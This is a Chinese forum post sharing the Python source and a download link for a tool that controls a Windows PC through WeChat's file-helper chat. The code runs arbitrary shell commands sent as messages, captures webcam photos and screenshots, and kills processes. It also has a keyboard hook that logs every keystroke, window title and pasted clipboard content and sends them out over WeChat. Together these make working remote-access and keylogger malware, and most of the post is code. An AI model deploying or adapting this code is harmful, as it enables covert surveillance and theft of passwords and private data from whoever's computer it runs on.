本帖最后由 17788210295 于 2019-8-27 09:30 编辑
使用方法:
1.运行CMD命令:cmd xxx (xxx为命令)
-例如关机命令:cmd shutdown -s -t
2.获取当前电脑用户:cap
3.启用消息助手(默认开启):ast
4.关闭消息助手:astc
5. 截屏,截图
6. 例(启动C:\Program Files (x86)\软件\qq\Bin\QQ.exe)
7.关闭** (例 关闭QQ)
8. 监听键盘 (开启后无法退出)
8.退出程序
9.信息保存在Wechat
10.结束程序方法:关闭wechat
上述功能 通过微信扫描二维码后即可登录微信,然后打开微信文件助手即可发送消息控制电脑
注意第八个监听键盘使用后无法使用其他功能(还没有优化好) 登录不上的删除登录记录itchat.pkl再重试 如果扫码没有反应 应该是微信不允许在网页登录 的安全问题
退出程序那个是个玩笑哦 不要当真 当真也可以(用了就知道了)
附上百度网盘下载连接: https://pan.baidu.com/s/1obSolXAwY2I7-6nHFctxhQ 提取码:590x
好用记得给个评论评分哦😊
附上主要源码(没有加上程序入口):[Python] 纯文本查看 复制代码 # coding=utf-8
import itchat
from tkinter import *
from tkinter import messagebox
import os
import time
import cv2
import pyautogui
import win32api
from time import sleep
from ctypes import *
import pythoncom
import PyHook3
import win32clipboard
import sys
path=os.getcwd()
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
#退出监听的指令单词,可以修改
QUIT_WORD="BIGBANG"
QUIT_CONT=QUIT_WORD
sendMsg = u"{消息助手}:暂时无法回复"
usageMsg = u"使用方法:\n" \
u"1.运行CMD命令:cmd xxx (xxx为命令)\n" \
u"-例如关机命令:cmd shutdown -s -t \n" \
u"2.获取当前电脑用户:cap\n" \
u"3.启用消息助手(默认开启):ast\n" \
u"4.关闭消息助手:astc\n" \
u"5. 截屏,截图 \n" \
u"6. 例(启动C:\Program Files (x86)\软件\qq\Bin\QQ.exe) \n" \
u"7.关闭** (例 关闭QQ)\n" \
u"8. 监听键盘 (开启后无法退出)\n" \
u"8.退出程序\n" \
u"9.信息保存在Wechat\n" \
u"10.结束程序方法:关闭wechat"
i=1
flag = 1 # 消息助手开关
nowTime = time.localtime()
t = str(nowTime.tm_mday)+'日' + str(nowTime.tm_hour)+'时' + str(nowTime.tm_min)+ '分'+ str(nowTime.tm_sec) +'秒'
def send_message_text(message):
itchat.send(message, "filehelper")
@itchat.msg_register('Text')
def text_reply(msg):
global flag
global i
message = msg['Text']
fromName = msg['FromUserName']
toName = msg['ToUserName']
if toName == "filehelper":
i=i+1
if message == "cap":
cap = cv2.VideoCapture(0)
ret, img = cap.read()
cv2.imwrite("./Wechat/cap%d.jpg"%i, img)
itchat.send('@img@%s' % u'./Wechat/cap%d.jpg'%i, 'filehelper')
cap.release()
if message[0:3] == "cmd":
if message[4:12]=="shutdown":
b = message.split('-')[-1]
b=eval(b)
os.system(message.strip(message[0:4]))
for i in range(b):
sleep(1)
itchat.send("你的电脑将在%d秒后关机" %(b-i), "filehelper")
itchat.send('Over........',"filehelper")
if message == "ast":
flag = 1
itchat.send("消息助手已开启", "filehelper")
if message == "astc":
flag = 0
itchat.send("消息助手已关闭", "filehelper")
if message =="截屏"or message =="截图":
img = pyautogui.screenshot(region=[0, 0, 1920, 1080]) # x,y,w,h
img.save('./Wechat/sceen%d.jpg'%i)
itchat.send('@img@%s' % u'Wechat/sceen%d.jpg'%i, 'filehelper')
if message[0:2] == "启动":
task=message[2:]
win32api.ShellExecute(0, 'open',task, '', '', 1)
itchat.send('启动qq成功', 'filehelper')
if message[0:2] == '关闭':
wyc=message[2:]
os.system("taskkill /F /IM "+wyc+".exe")
itchat.send('关闭qq成功', 'filehelper')
if message == "监听" or message == "监听键盘":
send_message_text('开始监听...\n'+'不能执行其他操作')
hook()
if message:
with open('./Wechat/wechat.txt', 'a', encoding='utf-8') as myfile:
myfile.write(t+'\n'+message)
myfile.write("\n")
def OnKeyboardEvent(event):
global current_window,QUIT_WORD,QUIT_CONT,path
FileStr=""
if(len(QUIT_WORD)==0):
FileStr+="\n------------结束监听-----------\n"
fp=open(path+"./Wechat/KeyBoardListen.txt","a",encoding='utf-8')
fp.write(FileStr)
fp.close()
send_message_text(FileStr)
sys.exit()
return False
# 检测目标窗口是否转移(换了其他窗口就监听新的窗口)
if event.Window != current_window:
current_window = event.Window
# event.WindowName有时候会不好用
# 所以调用底层API喊来获取窗口标题
windowTitle = create_string_buffer(512)
windll.user32.GetWindowTextA(event.Window,
byref(windowTitle),
512)
windowName = windowTitle.value.decode('gbk')
FileStr+="\n"+("-"*30)+"\n窗口名:%s\n窗口ID:%s\n"%(windowName,event.Window)
# 检测击键是否常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii <127:
FileStr+=chr(event.Ascii)+' '
else:
# 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
FileStr+='\n'+("-"*30)+'\n'+"检测到粘贴快捷键\n"
FileStr+="[粘贴内容:] "+pasted_value
FileStr+="\n"
FileStr+=("-"*30)+'\n'
elif event.Key=="Z":
FileStr+="[Ctrl+Z] "
elif event.Key=="A":
FileStr+="[全选] "
elif event.Key=="C":
FileStr+="[Ctrl+C] "
else:
if(event.Key=="Space"):
FileStr+="[空格] "
elif(event.Key=="Lshift"):
FileStr+="[左Shift] "
elif(event.Key=="Left"):
FileStr+="[←] "
elif(event.Key=="Right"):
FileStr+="[→] "
elif(event.Key=="Up"):
FileStr+="[↑] "
elif(event.Key=="Down"):
FileStr+="[↓] "
elif(event.Key=="Lmenu"):
FileStr+="[左Alt] "
elif(event.Key=="Rmenu"):
FileStr+="[右Alt] "
elif(event.Key=="Rshift"):
FileStr+="[右Shift] "
elif(event.Key=="Lcontrol"):
FileStr+="[左Ctrl] "
elif(event.Key=="Rcontrol"):
FileStr+="[右Ctrl] "
elif(event.Key=="Return"):
FileStr+="[回车] "
elif(event.Key=="Back"):
FileStr+="[删除] "
elif(event.Key=="Delete"):
FileStr+="[Del] "
elif(event.Key=="Insert"):
FileStr+="[Ins] "
elif(event.Key=="Prior"):
FileStr+="[PgUp] "
elif(event.Key=="Next"):
FileStr+="[PgDn] "
elif(event.Key=="End"):
FileStr+="[End] "
elif(event.Key=="Home"):
FileStr+="[Home] "
elif(event.Key=="None"):
FileStr+="[None] "
elif(event.Key=="Apps"):
#就是右Alt右边的那个键
FileStr+="[菜单] "
elif(event.Key=="Capital"):
FileStr+="[大写] "
elif(event.Key=="Tab"):
FileStr+="[Tab] "
elif(event.Key=="Lwin"):
FileStr+="[左Win] "
elif(event.Key=="Rwin"):
FileStr+="[右Win] "
elif(event.Key=="Escape"):
FileStr+="[Esc] "
elif(event.Key=="Pause"):
#就是PrintScreen右边那个键
FileStr+="[暂停] "
elif(event.Key=="Snapshot"):
FileStr+="[截屏] "
else:
FileStr+="[%s] "%event.Key
#判断退出监听指令符
if (event.Key==QUIT_WORD[0]):
QUIT_WORD=QUIT_WORD[1:]
if(len(QUIT_WORD)==0):
FileStr+="\n------------结束监听-------------\n"
fp=open(path+"./Wechat/KeyBoardListen.txt","a",encoding='utf-8')
fp.write(FileStr)
fp.close()
send_message_text(FileStr)
sys.exit()
return False
else:
QUIT_WORD=QUIT_CONT
#写入文件
fp=open(path+"./Wechat/KeyBoardListen.txt","a",encoding='utf-8')
fp.write(FileStr)
fp.close()
send_message_text(FileStr)
# 循环监听下一个击键事件
return True
# 创建并注册hook管理器
def hook():
kl = PyHook3.HookManager()
kl.KeyDown = OnKeyboardEvent
# 注册hook并执行
kl.HookKeyboard()
pythoncom.PumpMessages()
下面附上截图: |